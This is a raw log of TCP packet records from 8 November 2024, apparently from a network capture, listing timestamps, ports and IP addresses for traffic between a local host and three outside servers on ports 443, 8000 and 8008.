                                                                                                                                          Nov 8, 2024 11:28:34.210331917 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.210366011 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.210381031 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.210468054 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.210623026 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.216397047 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.216423988 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.216530085 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.216655970 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.216671944 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.216684103 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.216691971 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.216742992 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.216941118 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.216960907 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.217052937 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.219000101 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.219029903 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.219253063 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.219269037 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.219321966 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.220249891 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.220276117 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.220427036 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.220443964 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.220555067 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.222727060 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.222755909 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.222886086 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.222903013 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.222913027 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.223018885 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.224448919 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.224474907 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.224701881 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.224719048 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.224858046 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.227027893 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.227056980 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.227212906 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.227212906 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.227230072 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.227363110 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.228835106 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.228858948 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.229048014 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.229064941 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.229074955 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.229279041 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.230429888 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.230499983 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:34.230930090 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.231043100 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.231219053 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:34.231236935 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:50.767915964 CET497368000192.168.11.2023.88.71.29
                                                                                                                                          Nov 8, 2024 11:28:50.955801964 CET80004973623.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:50.956065893 CET497368000192.168.11.2023.88.71.29
                                                                                                                                          Nov 8, 2024 11:28:50.956116915 CET497368000192.168.11.2023.88.71.29
                                                                                                                                          Nov 8, 2024 11:28:51.205075026 CET80004973623.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:51.709425926 CET80004973623.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:51.709492922 CET80004973623.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:51.709537983 CET80004973623.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:51.709580898 CET80004973623.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:51.709712029 CET497368000192.168.11.2023.88.71.29
                                                                                                                                          Nov 8, 2024 11:28:51.709762096 CET497368000192.168.11.2023.88.71.29
                                                                                                                                          Nov 8, 2024 11:28:51.898144960 CET80004973623.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:51.898390055 CET497368000192.168.11.2023.88.71.29
                                                                                                                                          Nov 8, 2024 11:28:52.086488008 CET80004973623.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:52.086829901 CET497368000192.168.11.2023.88.71.29
                                                                                                                                          Nov 8, 2024 11:28:53.719878912 CET497378008192.168.11.20206.206.126.252
                                                                                                                                          Nov 8, 2024 11:28:54.045855999 CET800849737206.206.126.252192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:54.046219110 CET497378008192.168.11.20206.206.126.252
                                                                                                                                          Nov 8, 2024 11:28:54.046334982 CET497378008192.168.11.20206.206.126.252
                                                                                                                                          Nov 8, 2024 11:28:54.418989897 CET800849737206.206.126.252192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:54.434343100 CET800849737206.206.126.252192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:54.434407949 CET800849737206.206.126.252192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:54.434452057 CET800849737206.206.126.252192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:54.434494972 CET800849737206.206.126.252192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:54.434530973 CET800849737206.206.126.252192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:54.434648991 CET497378008192.168.11.20206.206.126.252
                                                                                                                                          Nov 8, 2024 11:28:54.435026884 CET497378008192.168.11.20206.206.126.252
                                                                                                                                          Nov 8, 2024 11:28:54.435163021 CET497378008192.168.11.20206.206.126.252
                                                                                                                                          Nov 8, 2024 11:28:54.760525942 CET800849737206.206.126.252192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:54.760833025 CET497378008192.168.11.20206.206.126.252
                                                                                                                                          Nov 8, 2024 11:29:06.451582909 CET497388000192.168.11.2023.88.71.29
                                                                                                                                          Nov 8, 2024 11:29:06.639667034 CET80004973823.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:06.639877081 CET497388000192.168.11.2023.88.71.29
                                                                                                                                          Nov 8, 2024 11:29:06.639981985 CET497388000192.168.11.2023.88.71.29
                                                                                                                                          Nov 8, 2024 11:29:06.877907991 CET80004973823.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:07.431817055 CET80004973823.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:07.431833029 CET80004973823.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:07.431843996 CET80004973823.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:07.432101011 CET497388000192.168.11.2023.88.71.29
                                                                                                                                          Nov 8, 2024 11:29:07.432260990 CET80004973823.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:07.432569027 CET497388000192.168.11.2023.88.71.29
                                                                                                                                          Nov 8, 2024 11:29:07.619905949 CET80004973823.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:07.620157957 CET497388000192.168.11.2023.88.71.29
                                                                                                                                          Nov 8, 2024 11:29:07.807878971 CET80004973823.88.71.29192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:07.808017969 CET497388000192.168.11.2023.88.71.29
                                                                                                                                          Nov 8, 2024 11:29:09.435343027 CET497398008192.168.11.20206.206.126.252
                                                                                                                                          Nov 8, 2024 11:29:09.464023113 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:09.464114904 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:09.464293003 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:09.464452028 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:09.464494944 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:09.681607008 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:09.682156086 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:09.682207108 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:09.682518959 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:09.682564020 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:09.757770061 CET800849739206.206.126.252192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:09.758019924 CET497398008192.168.11.20206.206.126.252
                                                                                                                                          Nov 8, 2024 11:29:09.758194923 CET497398008192.168.11.20206.206.126.252
                                                                                                                                          Nov 8, 2024 11:29:10.134758949 CET800849739206.206.126.252192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.151900053 CET800849739206.206.126.252192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.152193069 CET497398008192.168.11.20206.206.126.252
                                                                                                                                          Nov 8, 2024 11:29:10.525177002 CET800849739206.206.126.252192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.562217951 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.562247992 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.562278986 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.562285900 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.562557936 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:10.562568903 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.606446981 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:10.802858114 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.803158998 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.803179026 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.803355932 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:10.803364038 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.803575039 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.803626060 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.803693056 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:10.803699017 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.803893089 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:10.804135084 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:10.804229021 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:10.856441021 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.048933029 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.049271107 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.049293995 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.049902916 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.049915075 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.049993038 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.050034046 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.050223112 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.050312042 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.050312042 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.050333977 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.050498962 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.050627947 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.050648928 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.050703049 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.050951004 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.050968885 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.051131010 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.295161009 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.295821905 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.295846939 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.295869112 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.295918941 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.295967102 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.296050072 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.296134949 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.296317101 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.296683073 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.296817064 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.296834946 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.296838999 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.296844006 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.297085047 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.297513962 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.297719002 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.297728062 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.297743082 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.297874928 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.297879934 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.298046112 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.298552036 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.298736095 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.298741102 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.298877954 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.549397945 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.549681902 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.549684048 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.549691916 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.549798965 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.549993992 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.550184011 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.550381899 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.551065922 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.551110029 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.551225901 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.551230907 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.551290989 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.552126884 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.552278996 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.552284956 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.552520037 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.552906036 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.553009987 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.553092003 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.553096056 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.553191900 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.553289890 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.553689957 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.554100990 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.787271023 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.787467003 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.787622929 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.787754059 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.787852049 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.787857056 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.787868977 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.788078070 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.788650036 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.788841963 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.788943052 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.789510965 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.789582014 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.789690971 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.789752007 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.789758921 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.789897919 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.790705919 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.790889025 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.791162014 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.791225910 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.791363955 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.791373014 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.791431904 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.792185068 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.792362928 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.792376041 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.792505026 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.793176889 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.793232918 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.793404102 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.793414116 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.793662071 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:11.794121981 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:11.794384956 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.033142090 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.033298969 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.033341885 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.033457994 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.033504963 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.033777952 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.034198046 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.034425974 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.035010099 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.035119057 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.035161018 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.035372019 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.035382032 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.035523891 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.035912991 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.036055088 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.036746025 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.036859035 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.036900043 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.036911964 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.037058115 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.037621975 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.037880898 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.038430929 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.038582087 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.038712025 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.038815975 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.038825989 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.039164066 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.039510965 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.039776087 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.040369034 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.040545940 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.040556908 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.040595055 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.040600061 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.040747881 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.042202950 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.042350054 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.042361021 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.042440891 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.042445898 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.042673111 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.281303883 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.281311035 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.281402111 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.281548023 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.281559944 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.281596899 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.281604052 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.281750917 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.282906055 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.283107996 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.283230066 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.283237934 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.283850908 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.283869028 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.284054041 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.284068108 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.284181118 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.284718990 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.284955025 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.286820889 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.286840916 CET44349740104.21.86.219192.168.11.20
